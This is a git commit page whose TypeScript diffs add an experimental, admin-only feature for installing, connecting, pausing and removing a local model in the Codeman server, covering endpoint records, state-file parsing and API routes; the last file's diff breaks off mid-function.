feat(local-model): install a model from the server, with a job that can pause

POST /api/local-model/install, cancel, resume and runtime, and DELETE
/api/local-model. The GET gains an `install` object the window polls. All of
it is experimental and admin only in multi-user mode.

One job of five steps (runtime, model, verify, agent, connect) driven by a
pure reducer over explicit state, step and transition tables. One job at a
time (409). The consent is bound to the size shown: `acknowledgedBytes` must
be the server's own total (409 size-changed). A job a server restart
interrupted comes back paused and never continues without a click. Every
failure is a code with one next step.

The model is judged against the budget the runtime measured before it is
downloaded. A missing coding agent is installed with its stock command
through the shared runner, audited. Connect writes one endpoint record under
the reserved id through mutateCustomModelHosts() and switches
customModelEndpointsEnabled on through mutateSettingsFile(), remembering the
flag's value. The model's digest is stored and read again at boot and before
every session start on that endpoint; a changed model refuses the launch.

Remove answers 409 with the session names while a live session uses the
endpoint, undoes the two writes first, restores the flag only when this
feature switched it on and no other endpoint is saved, and deletes only
inside local-model/. The coding agent stays.

The server starts the runtime at boot when a model is installed and stops
it at shutdown beside stopDeepSeekWeb().

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
This commit is contained in:
Codeman maintainer committed 2026-11-06 22:16:38 +01:00
1 parent a864acc52c
commit 3af94df4f6
17 files changed
+6290 -156

No files matched your search

+133 -16
View File
@@ -2,9 +2,6 @@
* @fileoverview Connecting the installed local model to Codeman, and undoing it: the endpoint
* record, the settings flag, and the checks around them.
*
* CONTRACT STAGE: the two constants are final. Every function below has its final signature
* and a body that throws; the bodies are written next.
*
* These are the ONLY two writes of the local model outside its own folder:
* 1. One record in `custom-model-hosts.json`, through `mutateCustomModelHosts()`:
* `{ id: 'local-ollama', label: 'This Mac', baseUrl: 'http://127.0.0.1:<port>',
@@ -23,15 +20,20 @@
* switched it on AND no other endpoint is saved.
* - The model's digest is compared again before a session starts and at boot
* (`compareModelDigest()`): a model that changed under the same name is not launched.
* - The record is MANAGED while the state file records it as ours (`isManagedLocalEndpoint()`):
* the endpoint routes then refuse to edit or delete it and the discovery sweep leaves it
* alone, so its `models` stays the one model the install job checked.
*/
import { mutateCustomModelHosts } from '../custom-model-hosts-writer.js';
import type { CustomModelHost } from '../custom-model-hosts.js';
import type { LocalModelErrorCode } from '../types.js';
import { getErrorMessage, type LocalModelErrorCode } from '../types.js';
import { CustomModelHostSchema } from '../web/schemas.js';
import { mutateSettingsFile } from '../web/settings-writer.js';
import { readLocalModelState } from './state-store.js';
/** Marks a body the contract stage left unwritten. */
function notImplemented(what: string, ..._args: unknown[]): never {
throw new Error(`${what} is not implemented yet`);
}
/** The key of the settings flag that shows saved endpoints in the Run menu and runs the discovery sweep. */
const ENDPOINTS_FLAG = 'customModelEndpointsEnabled';
/** The id of the endpoint record this feature writes. Reserved: nobody else may use it. */
export const LOCAL_MODEL_ENDPOINT_ID = 'local-ollama';
@@ -50,7 +52,15 @@ export interface LocalEndpointInput {
/** The endpoint record of the file header. Pure; the caller validates it with `CustomModelHostSchema`. */
export function buildLocalEndpointRecord(input: LocalEndpointInput): CustomModelHost {
return notImplemented('buildLocalEndpointRecord', input);
return {
id: LOCAL_MODEL_ENDPOINT_ID,
label: LOCAL_MODEL_ENDPOINT_LABEL,
baseUrl: `http://127.0.0.1:${input.port}`,
authStyle: 'bearer',
models: [input.modelId],
defaultModelId: input.modelId,
defaultContextLength: input.context,
};
}
export interface ConnectLocalModelInput extends LocalEndpointInput {
@@ -75,14 +85,88 @@ export type ConnectResult =
}
| { ok: false; code: Extract<LocalModelErrorCode, 'endpoint-id-taken' | 'connect-failed'>; detail?: string };
/** Writes the record and the flag. Idempotent. Never throws: a refused write is `connect-failed` with its message as `detail`. */
/**
* Writes the record and the flag. Idempotent. Never throws: a refused write is `connect-failed`
* with its message as `detail`.
*
* The record goes first, with the "is the id free" check in the same serialized step as the
* write, so a record that is somebody else's is found before anything is changed. Should the
* flag then fail to save, a record this call ADDED is taken out again: the pair is never left
* half done, and a later attempt starts from the same place.
*/
export async function connectLocalModel(input: ConnectLocalModelInput): Promise<ConnectResult> {
return notImplemented('connectLocalModel', input);
const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(input));
if (!parsed.success) {
return { ok: false, code: 'connect-failed', detail: `The endpoint record is not valid: ${parsed.error.message}` };
}
const record: CustomModelHost = parsed.data;
let outcome: 'added' | 'replaced' | 'taken';
try {
outcome = await mutateCustomModelHosts<'added' | 'replaced' | 'taken'>((hosts) => {
const index = hosts.findIndex((host) => host.id === record.id);
if (index === -1) return { hosts: [...hosts, record], result: 'added' };
if (!input.ours) return { result: 'taken' };
const next = [...hosts];
next[index] = record;
return { hosts: next, result: 'replaced' };
});
} catch (err) {
return { ok: false, code: 'connect-failed', detail: getErrorMessage(err) };
}
if (outcome === 'taken') return { ok: false, code: 'endpoint-id-taken' };
let flagBefore: boolean;
try {
const { before } = await mutateSettingsFile((current) =>
current[ENDPOINTS_FLAG] === true ? undefined : { ...current, [ENDPOINTS_FLAG]: true }
);
flagBefore = before[ENDPOINTS_FLAG] === true;
} catch (err) {
if (outcome === 'added') await removeLocalEndpoint().catch(() => {});
return { ok: false, code: 'connect-failed', detail: getErrorMessage(err) };
}
return { ok: true, flagWasEnabled: input.flagWasEnabled ?? flagBefore };
}
/**
* Puts our record back when it is gone, and does nothing when a record with our id exists
* (it is never replaced here). For the start of the server while a model is installed: a
* config-backup restore can bring back an older endpoint store without our record while the
* model, the runtime and the state file stay. The settings flag is NOT touched: a person who
* switched it off meant to. Resolves true when the record was added. Never throws.
*/
export async function ensureLocalEndpoint(input: LocalEndpointInput): Promise<boolean> {
const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(input));
if (!parsed.success) return false;
const record: CustomModelHost = parsed.data;
try {
return await mutateCustomModelHosts<boolean>((hosts) =>
hosts.some((host) => host.id === record.id) ? { result: false } : { hosts: [...hosts, record], result: true }
);
} catch {
// A store that must not be overwritten stays as it is; a session start then says what is wrong.
return false;
}
}
/** Takes our record out of the store. Resolves with how many OTHER endpoints are saved. */
async function removeLocalEndpoint(): Promise<number> {
return mutateCustomModelHosts<number>((hosts) => {
const others = hosts.filter((host) => host.id !== LOCAL_MODEL_ENDPOINT_ID);
return others.length === hosts.length ? { result: others.length } : { hosts: others, result: others.length };
});
}
/** Moves our record to another port (the answer to "Use another port" once connected). A missing record is not an error. */
export async function moveLocalEndpoint(port: number): Promise<void> {
return notImplemented('moveLocalEndpoint', port);
await mutateCustomModelHosts<void>((hosts) => {
const index = hosts.findIndex((host) => host.id === LOCAL_MODEL_ENDPOINT_ID);
if (index === -1) return { result: undefined };
const next = [...hosts];
next[index] = { ...next[index], baseUrl: `http://127.0.0.1:${port}` };
return { hosts: next, result: undefined };
});
}
/**
@@ -90,12 +174,28 @@ export async function moveLocalEndpoint(port: number): Promise<void> {
* (`flagWasEnabled` is false) and no other endpoint is left. Idempotent.
*/
export async function disconnectLocalModel(input: { flagWasEnabled: boolean }): Promise<void> {
return notImplemented('disconnectLocalModel', input);
const othersLeft = await removeLocalEndpoint();
if (input.flagWasEnabled || othersLeft > 0) return;
await mutateSettingsFile((current) =>
current[ENDPOINTS_FLAG] === true ? { ...current, [ENDPOINTS_FLAG]: false } : undefined
);
}
/** Whether `id` is the reserved endpoint id. For the endpoint routes and the discovery sweep, which leave that record alone. */
export function isLocalModelEndpointId(id: string): boolean {
return notImplemented('isLocalModelEndpointId', id);
return id === LOCAL_MODEL_ENDPOINT_ID;
}
/**
* Whether the saved endpoint `id` is the record THIS feature wrote and still owns: the id is
* the reserved one and the state file records a connection under it. A record with the
* reserved id that somebody made by hand (before this feature, or while nothing is installed)
* is not managed, so its owner can still edit and delete it. Never throws.
*/
export async function isManagedLocalEndpoint(id: string): Promise<boolean> {
if (!isLocalModelEndpointId(id)) return false;
const state = await readLocalModelState();
return state.connection?.endpointId === id;
}
/**
@@ -106,7 +206,11 @@ export function sessionNamesUsingEndpoint(
sessions: Iterable<{ name: string; customModel?: { endpointId: string } }>,
endpointId: string = LOCAL_MODEL_ENDPOINT_ID
): string[] {
return notImplemented('sessionNamesUsingEndpoint', sessions, endpointId);
const names: string[] = [];
for (const session of sessions) {
if (session.customModel?.endpointId === endpointId) names.push(session.name);
}
return names;
}
/**
@@ -120,5 +224,18 @@ export function compareModelDigest(
stored: string | undefined,
current: string | undefined
): 'same' | 'changed' | 'unknown' {
return notImplemented('compareModelDigest', stored, current);
const a = normalizeDigest(stored);
const b = normalizeDigest(current);
if (!a || !b) return 'unknown';
return a === b ? 'same' : 'changed';
}
/** A digest as it is compared: lowercase hex, without the `sha256:` some listings put in front. */
function normalizeDigest(digest: string | undefined): string | undefined {
if (typeof digest !== 'string') return undefined;
const hex = digest
.trim()
.toLowerCase()
.replace(/^sha256:/, '');
return hex === '' ? undefined : hex;
}
+19 -8
View File
@@ -10,8 +10,11 @@
* - reports `label` from the registry entry and `installed` from the same probe the page
* render and `GET /api/clis` use (`utils/cli-installed-probes.ts`), asked once per build;
* - reports `installable` only for a STOCK CLI that is not installed and whose install
* command for this platform needs no administrator rights (`installCommandNeedsAdmin()`).
* Stock only, because the install runner never executes a custom entry's command;
* command for this platform needs no administrator rights (`installCommandNeedsAdmin()`),
* and then carries that command as `installCommand`, so the consent screen can print the
* literal text. The command is the COMPILED stock one (`stockInstallCommand()`), never the
* one a `clis.json` override supplies: it is exactly what the install job would run, and
* an override file must not be able to change that;
* - supplies `acceptsModelId` (`cliAcceptsCustomModelId()`), the test a custom model launch
* applies to the model id before anything is written.
*
@@ -33,7 +36,8 @@
import type { CliEntry } from '../config/cli-registry/types.js';
import { matchesPattern } from '../config/cli-registry/patterns.js';
import { getCli, resolveInstallCommandForPlatform } from '../config/cli-registry/registry.js';
import { stockInstallCommand } from '../cli-install-runner.js';
import { getCli } from '../config/cli-registry/registry.js';
import { buildCustomModelInjection, type CustomModelEndpoint } from '../custom-model-injection.js';
import { isCliEntryInstalled, probeStockCliAvailability } from '../utils/cli-installed-probes.js';
import { getErrorMessage, type HarnessFact, type LocalModelCatalog } from '../types.js';
@@ -48,7 +52,11 @@ export interface HarnessFactsDeps {
* `installed` passes its own.
*/
probeInstalled: () => Promise<(entry: CliEntry) => boolean>;
/** The install command the registry holds for this platform. Read as text, never run. */
/**
* The install command the install job would run for this CLI on this platform: the compiled
* stock command, `undefined` for a CLI that is not stock or has none here. Read as text,
* never run.
*/
installCommandFor: (entry: CliEntry) => string | undefined;
}
@@ -58,7 +66,7 @@ export const defaultHarnessFactsDeps: HarnessFactsDeps = {
const stockAvailability = await probeStockCliAvailability();
return (entry) => isCliEntryInstalled(entry, stockAvailability);
},
installCommandFor: resolveInstallCommandForPlatform,
installCommandFor: (entry) => stockInstallCommand(entry.id as string),
};
/**
@@ -147,17 +155,20 @@ export async function buildHarnessFacts(
console.warn(`[local-model] Probing ${entry.label} failed, reading it as not installed: ${getErrorMessage(err)}`);
}
let installable = false;
let installCommand: string | undefined;
if (!installed && entry.stock) {
const command = resolved.installCommandFor(entry);
installable = command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command);
if (command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command)) {
installCommand = command;
}
}
facts.push({
cli: row.cli,
label: entry.label,
installed,
installable,
installable: installCommand !== undefined,
...(installCommand !== undefined ? { installCommand } : {}),
acceptsModelId: (modelId: string) => cliAcceptsCustomModelId(entry, modelId),
});
}
File diff suppressed because it is too large. Load diff
+231 -12
View File
@@ -2,9 +2,6 @@
* @fileoverview The ONE reader and writer of `local-model.json`, the state file of the local
* model install (`LocalModelStateFile`).
*
* CONTRACT STAGE: `IDLE_LOCAL_MODEL_STATE` is final. Every function below has its final
* signature and a body that throws; the bodies are written next.
*
* Why one module: the install job writes the state, the step and the digest, and the caller
* of the runtime supervisor writes the pid and the port. Two writers with their own temp file
* and rename would lose each other's change, which is the fault `mutateCustomModelHosts()`
@@ -20,30 +17,242 @@
* - The path is `localModelPaths().stateFile`. The file itself holds no path.
*/
import type { LocalModelStateFile } from '../types.js';
/** Marks a body the contract stage left unwritten. */
function notImplemented(what: string, ..._args: unknown[]): never {
throw new Error(`${what} is not implemented yet`);
}
import { randomUUID } from 'node:crypto';
import fs from 'node:fs/promises';
import { dirname } from 'node:path';
import {
LOCAL_MODEL_ERROR_LABELS,
LOCAL_MODEL_INSTALL_STEPS,
type LocalModelErrorCode,
type LocalModelInstallState,
type LocalModelInstallStep,
type LocalModelStateFile,
} from '../types.js';
import { OLLAMA_RUNTIME_PIN } from './runtime.js';
import { localModelPaths } from './paths.js';
/** The state when nothing was ever installed. What an unreadable file reads as. */
export const IDLE_LOCAL_MODEL_STATE: LocalModelStateFile = Object.freeze({ schema: 1, state: 'idle' });
const STATES: readonly LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed'];
// ---------- Reading one member at a time ----------
const isRecord = (value: unknown): value is Record<string, unknown> =>
typeof value === 'object' && value !== null && !Array.isArray(value);
const text = (value: unknown, max = 4_096): string | undefined =>
typeof value === 'string' && value !== '' && value.length <= max ? value : undefined;
/** A whole number of bytes, tokens, a port or a pid: finite, not negative, and an integer. */
const count = (value: unknown): number | undefined =>
typeof value === 'number' && Number.isSafeInteger(value) && value >= 0 ? value : undefined;
const step = (value: unknown): LocalModelInstallStep | undefined =>
LOCAL_MODEL_INSTALL_STEPS.find((candidate) => candidate === value);
function parseSteps(value: unknown): LocalModelInstallStep[] | undefined {
if (!Array.isArray(value)) return undefined;
const steps: LocalModelInstallStep[] = [];
for (const item of value) {
const parsed = step(item);
// A list with an unknown or a repeated step is not a list this build wrote.
if (!parsed || steps.includes(parsed)) return undefined;
steps.push(parsed);
}
return steps.length > 0 ? steps : undefined;
}
function parseVars(value: unknown): Record<string, string> | undefined {
if (!isRecord(value)) return undefined;
const vars: Record<string, string> = {};
for (const [key, item] of Object.entries(value)) {
if (typeof item === 'string' && item.length <= 4_096) vars[key] = item;
}
return Object.keys(vars).length > 0 ? vars : undefined;
}
function parseError(value: unknown): LocalModelStateFile['error'] {
if (!isRecord(value)) return undefined;
const code = text(value.code);
if (!code || !Object.prototype.hasOwnProperty.call(LOCAL_MODEL_ERROR_LABELS, code)) return undefined;
const vars = parseVars(value.vars);
const detail = text(value.detail, 16_384);
const nextModelId = text(value.nextModelId, 200);
return {
code: code as LocalModelErrorCode,
...(vars ? { vars } : {}),
...(detail ? { detail } : {}),
...(nextModelId ? { nextModelId } : {}),
};
}
function parseModel(value: unknown): LocalModelStateFile['model'] {
if (!isRecord(value)) return undefined;
const id = text(value.id, 200);
const label = text(value.label, 200);
const context = count(value.context);
if (!id || !label || !context) return undefined;
const pullBytes = count(value.pullBytes);
const digest = text(value.digest, 200);
return {
id,
label,
context,
...(pullBytes !== undefined ? { pullBytes } : {}),
...(digest ? { digest } : {}),
};
}
function parseCli(value: unknown): LocalModelStateFile['cli'] {
if (!isRecord(value)) return undefined;
const id = text(value.id, 200);
const label = text(value.label, 200);
return id && label ? { id, label } : undefined;
}
function parseRuntime(value: unknown): LocalModelStateFile['runtime'] {
if (!isRecord(value)) return undefined;
const version = text(value.version, 64);
const port = count(value.port);
if (!version || !port || port > 65_535) return undefined;
const pid = count(value.pid);
const measuredTotalBytes = count(value.measuredTotalBytes);
return {
version,
port,
...(pid ? { pid } : {}),
// Anything but an explicit `false` reads as enabled: only Stop switches the runtime off.
enabled: value.enabled !== false,
...(measuredTotalBytes ? { measuredTotalBytes } : {}),
};
}
function parseProgress(value: unknown): LocalModelStateFile['progress'] {
if (!isRecord(value)) return undefined;
const completedBytes = count(value.completedBytes);
const totalBytes = count(value.totalBytes);
return completedBytes !== undefined && totalBytes !== undefined ? { completedBytes, totalBytes } : undefined;
}
function parseLoaded(value: unknown): LocalModelStateFile['loaded'] {
if (!isRecord(value)) return undefined;
const context = count(value.context);
const sizeBytes = count(value.sizeBytes);
const sizeVramBytes = count(value.sizeVramBytes);
return context !== undefined && sizeBytes !== undefined && sizeVramBytes !== undefined
? { context, sizeBytes, sizeVramBytes }
: undefined;
}
function parseConnection(value: unknown): LocalModelStateFile['connection'] {
if (!isRecord(value)) return undefined;
const endpointId = text(value.endpointId, 200);
return endpointId && typeof value.flagWasEnabled === 'boolean'
? { endpointId, flagWasEnabled: value.flagWasEnabled }
: undefined;
}
/**
* The state a file's text stands for. Pure and total: text that is not a JSON object of
* `schema: 1` with a known `state` is `IDLE_LOCAL_MODEL_STATE`. Members it does not know are
* dropped, and a member of the wrong type is dropped rather than trusted.
*
* A state that needs a member it does not have is not trusted either: a job (`installing`,
* `paused`, `failed`) without its model, its coding agent or its step, a `failed` job without
* its error, and an `installed` state without its model or its runtime all read as idle.
* Nothing is deleted by that: what lies in the folder stays until a Remove or a new install.
*/
export function parseLocalModelState(raw: string): LocalModelStateFile {
return notImplemented('parseLocalModelState', raw);
let parsed: unknown;
try {
parsed = JSON.parse(raw);
} catch {
return IDLE_LOCAL_MODEL_STATE;
}
if (!isRecord(parsed) || parsed.schema !== 1) return IDLE_LOCAL_MODEL_STATE;
const state = STATES.find((candidate) => candidate === parsed.state);
if (!state || state === 'idle') return IDLE_LOCAL_MODEL_STATE;
const model = parseModel(parsed.model);
const cli = parseCli(parsed.cli);
const runtime = parseRuntime(parsed.runtime);
const connection = parseConnection(parsed.connection);
const updatedAt = text(parsed.updatedAt, 64);
const replacedModelId = text(parsed.replacedModelId, 200);
if (!model || !cli) return IDLE_LOCAL_MODEL_STATE;
if (state === 'installed') {
if (!runtime) return IDLE_LOCAL_MODEL_STATE;
const loaded = parseLoaded(parsed.loaded);
return {
schema: 1,
state,
model,
cli,
runtime,
...(loaded ? { loaded } : {}),
...(connection ? { connection } : {}),
...(updatedAt ? { updatedAt } : {}),
};
}
const steps = parseSteps(parsed.steps);
const current = step(parsed.step);
if (!steps || !current || !steps.includes(current)) return IDLE_LOCAL_MODEL_STATE;
const error = parseError(parsed.error);
if (state === 'failed' && !error) return IDLE_LOCAL_MODEL_STATE;
const progress = parseProgress(parsed.progress);
const loaded = parseLoaded(parsed.loaded);
return {
schema: 1,
state,
step: current,
steps,
...(state === 'failed' && error ? { error } : {}),
model,
cli,
...(runtime ? { runtime } : {}),
...(progress ? { progress } : {}),
...(loaded ? { loaded } : {}),
...(connection ? { connection } : {}),
...(replacedModelId ? { replacedModelId } : {}),
...(updatedAt ? { updatedAt } : {}),
};
}
/** Where the state file is. Built from `dataPath()` on every call, so a test's own data dir is honoured. */
function stateFilePath(): string {
return localModelPaths(OLLAMA_RUNTIME_PIN.version).stateFile;
}
async function readStateFrom(path: string): Promise<LocalModelStateFile> {
try {
return parseLocalModelState(await fs.readFile(path, 'utf-8'));
} catch {
return IDLE_LOCAL_MODEL_STATE;
}
}
/** The stored state. Never throws: a file that cannot be read is `IDLE_LOCAL_MODEL_STATE`. */
export async function readLocalModelState(): Promise<LocalModelStateFile> {
return notImplemented('readLocalModelState');
return readStateFrom(stateFilePath());
}
async function writeStateFile(path: string, state: LocalModelStateFile): Promise<void> {
await fs.mkdir(dirname(path), { recursive: true });
const tmp = `${path}.${process.pid}.${randomUUID()}.tmp`;
try {
await fs.writeFile(tmp, JSON.stringify(state, null, 2), { mode: 0o600 });
await fs.rename(tmp, path);
} catch (err) {
await fs.rm(tmp, { force: true }).catch(() => {});
throw err;
}
}
let mutationChain: Promise<unknown> = Promise.resolve();
/**
* Runs one change to the state file. `fn` receives the current state and returns the state to
* write, or `undefined` to write nothing. Resolves with the state before and after the change
@@ -53,5 +262,15 @@ export async function readLocalModelState(): Promise<LocalModelStateFile> {
export function mutateLocalModelState(
fn: (current: LocalModelStateFile) => LocalModelStateFile | undefined
): Promise<{ before: LocalModelStateFile; after: LocalModelStateFile | undefined }> {
return notImplemented('mutateLocalModelState', fn);
const run = mutationChain.then(async () => {
const path = stateFilePath();
const before = await readStateFrom(path);
const next = fn(before);
if (!next) return { before, after: undefined };
const after: LocalModelStateFile = { ...next, updatedAt: new Date().toISOString() };
await writeStateFile(path, after);
return { before, after };
});
mutationChain = run.catch(() => {});
return run;
}
+16 -10
View File
@@ -22,15 +22,19 @@
* | Route | Body | Refusals |
* |----------------------------------|-----------------------------|-------------------------------------------------------|
* | `GET /api/local-model` | none | none (a failed probe is an answer) |
* | `POST /api/local-model/install` | `LocalModelInstallRequest` | 400 not a row the server offers; 409 `job-running`, |
* | `POST /api/local-model/install` | `LocalModelInstallRequest` | 400 not a row the server offers, or a saved endpoint |
* | | | already has the reserved id; 409 `job-running`, |
* | | | `already-installed`, `size-changed` |
* | `POST /api/local-model/cancel` | none | 409 `wrong-state` (no job is running) |
* | `POST /api/local-model/resume` | `LocalModelResumeRequest` | 409 `wrong-state` (not paused or failed) |
* | `POST /api/local-model/resume` | `LocalModelResumeRequest` | 409 `job-running`, `wrong-state` (not paused or |
* | | | failed) |
* | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | 409 `wrong-state` (not installed), `job-running` |
* | `DELETE /api/local-model` | `LocalModelRemoveRequest` | 409 `job-running`, `sessions-open` |
*
* A 409 is the error envelope plus `data: LocalModelConflict`:
* `{ success: false, error, errorCode: 'CONFLICT', data: { reason, message, ... } }`.
* `{ success: false, error, errorCode: 'CONFLICT', data: { reason, message, ... } }`. A 409
* WITHOUT `data` is a write of `settings.json` or of the endpoint store that was refused
* because the file does not parse; `error` names the fix.
*
* The rules of src/types/local-model.ts hold here too:
* 1. A size a person reads travels twice: as bytes and as decimal GB text from `formatGb()`
@@ -427,18 +431,14 @@ export interface LocalModelInstallView {
actions: LocalModelAction[];
}
/**
* The `data` of `GET /api/local-model`. Admin only in multi-user mode.
*
* `install` is optional in the type only until the route emits it: from the stage that ships
* the install verbs on it is always present.
*/
/** The `data` of `GET /api/local-model`. Admin only in multi-user mode. */
export interface LocalModelStatus {
hardware: HardwareFacts;
recommendation: Recommendation;
/** `LocalModelCatalog.updated`. */
catalogUpdated: string;
install?: LocalModelInstallView;
/** Where the install stands. Always present. */
install: LocalModelInstallView;
}
// ---------- Request bodies and answers ----------
@@ -557,6 +557,12 @@ export interface LocalModelStateFile {
/** The digest `/api/tags` reported after the pull. Compared again at boot and before a session starts. */
digest?: string;
};
/**
* The model of the job this one replaced, when it was another model: what that job left in
* the model store is deleted once the runtime runs, before the new model is downloaded.
* Absent once that was done, and in `idle` and `installed`.
*/
replacedModelId?: string;
/** The coding agent of the job or of the installation. */
cli?: { id: string; label: string };
/** The runtime, once its port was chosen. */
+187 -23
View File
@@ -1,18 +1,34 @@
/**
* @fileoverview `GET /api/local-model`: what this Mac is and which local model fits it.
* @fileoverview The local model routes: what this Mac is and which local model fits it
* (`GET /api/local-model`), and the verbs that install one, start and stop it and remove it.
*
* Answers `{ success: true, data: LocalModelStatus }`, built from the hardware probe, the
* catalogue, the harness facts and the pure `recommend()`:
* `{ hardware, recommendation, catalogUpdated }`. Nothing is reformatted here: every size text
* and every sentence in the payload was chosen by the modules that produced it.
* | Route | Body | Answer |
* |----------------------------------|-----------------------------|------------------------------------------------|
* | `GET /api/local-model` | none | `{ hardware, recommendation, catalogUpdated, install }` |
* | `POST /api/local-model/install` | `LocalModelInstallRequest` | the install view; 400, 409 |
* | `POST /api/local-model/cancel` | none | the install view; 409 |
* | `POST /api/local-model/resume` | `LocalModelResumeRequest` | the install view; 409 |
* | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | the install view; 409 |
* | `DELETE /api/local-model` | `LocalModelRemoveRequest` | the install view; 409 |
*
* EXPERIMENTAL (docs/versioning-policy.md, "Experimental local model recommendation"): the
* route and its payload are outside the stable `/api/v1` contract until the stage that sets a
* model up ships, because that stage will change what the fields mean. docs/api-reference.md
* says so in its section; keep the two in step, and drop both labels together.
* The GET is built from the hardware probe, the catalogue, the harness facts and the pure
* `recommend()`, plus the `install` object of the install service
* (`LocalModelService.view()`). Nothing is reformatted here: every size text and every
* sentence in the payload was chosen by the modules that produced it. There is no SSE event:
* the window polls the GET once a second while it is open.
*
* EXPERIMENTAL (docs/versioning-policy.md, "Experimental local model routes"): the routes and
* their payloads are outside the stable `/api/v1` contract. docs/api-reference.md says so in
* its section; keep the two in step, and drop both labels together.
*
* Rules:
* - Read-only. It downloads nothing, installs nothing, writes no file and reads no setting.
* - Every route is admin only in multi-user mode (403), the same bar as `GET /api/doctor`:
* the GET names hardware of the host, and the verbs download and run a program, install a
* coding agent and write the server-wide settings. The gate runs before anything is probed,
* parsed or started.
* - The GET changes nothing a person asked to keep: it downloads nothing, installs nothing
* and writes no setting. Its one write is the service's own bookkeeping (a job a server
* restart interrupted is marked paused the first time anything looks at it).
* - A failed probe is an answer, never a 500. `readHardware()` reports a spawn that failed
* in the hardware's `source` (`os-fallback`), and a server that is not on macOS as
* `not-probed`; both go out as a 200 whose recommendation is verdict `none` or computed
@@ -21,10 +37,16 @@
* `source` values.
* - A 500 is left for a fault that is not a probe: the catalogue, the harness facts or
* `recommend()` throwing. That is a bug, and it must not be dressed up as "no model fits".
* - The payload names hardware of the host, so in multi-user mode it is admin only (403), the
* same bar as `GET /api/doctor`. The gate runs before anything is probed.
* - A verb answers the view AFTER the verb. A refusal the service names is a 400 (the request
* is not a row the server offers) or a 409 whose `data` is the `LocalModelConflict`
* (`reason`, the sentence, and for `size-changed` the server's own total, for
* `sessions-open` the session names). A write of the settings or of the endpoint store
* that was refused (a file that does not parse) is a 409 without `data`, with the fix.
* - The verbs do the work in the install service; this file only gates, parses and maps.
* `DELETE` is the one that looks at the live sessions: it hands their names to the service,
* which refuses while one of them still uses the model.
* - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and
* does not need a Mac: it passes its own hardware and harness facts.
* does not need a Mac: it passes its own hardware, harness facts and service.
*/
import { arch, totalmem } from 'node:os';
@@ -37,23 +59,63 @@ import {
type HardwareFacts,
type HarnessFact,
type LocalModelCatalog,
type LocalModelConflict,
type LocalModelInstallView,
type LocalModelStatus,
type Recommendation,
type RecommendOptions,
} from '../../types.js';
import { isAdmin } from '../route-helpers.js';
import { getAuthUser, isAdmin, parseBody } from '../route-helpers.js';
import { isMultiUserMode } from '../../config/multiuser.js';
import { getLocalModelCatalog } from '../../config/local-model-catalog.js';
import {
CustomModelHostsWriteRefusedError,
customModelHostsWriteErrorResponse,
} from '../../custom-model-hosts-writer.js';
import { sessionNamesUsingEndpoint } from '../../local-model/connect.js';
import { formatGb, memClassGb } from '../../local-model/format.js';
import { readHardware } from '../../local-model/hardware.js';
import { buildHarnessFacts } from '../../local-model/harness-facts.js';
import {
formatInstallMessage,
getLocalModelService,
type LocalModelActor,
type LocalModelService,
type LocalModelVerbResult,
} from '../../local-model/install-job.js';
import { recommend } from '../../local-model/recommend.js';
import {
LocalModelInstallSchema,
LocalModelRemoveSchema,
LocalModelResumeSchema,
LocalModelRuntimeSchema,
} from '../schemas.js';
import { SettingsWriteRefusedError, settingsWriteErrorResponse } from '../settings-writer.js';
/** What the route calls. Each member defaults to the real module; a test overrides what it needs. */
/** A live session as the DELETE needs it: its name, and the endpoint its model comes from. */
export interface LocalModelSessionLike {
name: string;
customModel?: { endpointId: string };
}
/** What the routes read of the server: its live sessions. */
export interface LocalModelRouteContext {
sessions: ReadonlyMap<string, LocalModelSessionLike>;
}
/** What the routes call. Each member defaults to the real module; a test overrides what it needs. */
export interface LocalModelRouteDeps {
readHardware: () => Promise<HardwareFacts>;
getCatalog: () => LocalModelCatalog;
buildHarnessFacts: (catalog: LocalModelCatalog) => Promise<HarnessFact[]>;
recommend: (hw: HardwareFacts, catalog: LocalModelCatalog, harnessFacts: readonly HarnessFact[]) => Recommendation;
recommend: (
hw: HardwareFacts,
catalog: LocalModelCatalog,
harnessFacts: readonly HarnessFact[],
options?: RecommendOptions
) => Recommendation;
/** The install service. Looked up on every request, so the server's one service is built on first use. */
service: () => LocalModelService;
}
export const defaultLocalModelRouteDeps: LocalModelRouteDeps = {
@@ -61,6 +123,7 @@ export const defaultLocalModelRouteDeps: LocalModelRouteDeps = {
getCatalog: getLocalModelCatalog,
buildHarnessFacts: (catalog) => buildHarnessFacts(catalog),
recommend,
service: getLocalModelService,
};
/**
@@ -80,15 +143,75 @@ export function hardwareFromOs(): HardwareFacts {
};
}
export function registerLocalModelRoutes(app: FastifyInstance, deps: Partial<LocalModelRouteDeps> = {}): void {
/** The 409 of a verb the service refused: the error envelope plus the conflict as `data`. */
export interface LocalModelConflictResponse {
success: false;
/** The conflict's sentence in English, its slots filled. */
error: string;
errorCode: ApiErrorCode;
data: LocalModelConflict;
}
/** What a verb answers: the view after it, an error envelope, or the 409 that carries the conflict. */
export type LocalModelVerbResponse = ApiResponse<LocalModelInstallView> | LocalModelConflictResponse;
/** 403 for a non-admin in multi-user mode, before anything else runs. `null`: go on. */
function adminOnly(req: FastifyRequest, reply: FastifyReply): ApiResponse<never> | null {
if (!isMultiUserMode() || isAdmin(req)) return null;
reply.code(403);
return createErrorResponse(ApiErrorCode.FORBIDDEN, 'Admin only in multi-user mode');
}
function actorOf(req: FastifyRequest): LocalModelActor {
return { username: getAuthUser(req).username, ip: req.ip };
}
/** A verb's result as its HTTP answer. */
function respond(result: LocalModelVerbResult, reply: FastifyReply): LocalModelVerbResponse {
if (result.ok) return { success: true, data: result.view };
reply.code(result.status);
if (result.status === 400) return createErrorResponse(ApiErrorCode.INVALID_INPUT, result.message);
return {
success: false,
error: formatInstallMessage(result.conflict.message),
errorCode: ApiErrorCode.CONFLICT,
data: result.conflict,
};
}
/** Runs one verb. What the service did not name as a refusal: a refused config write is a 409 with the fix, anything else a 500. */
async function runVerb(
reply: FastifyReply,
verb: () => Promise<LocalModelVerbResult>
): Promise<LocalModelVerbResponse> {
try {
return respond(await verb(), reply);
} catch (err) {
if (err instanceof CustomModelHostsWriteRefusedError) {
reply.code(409);
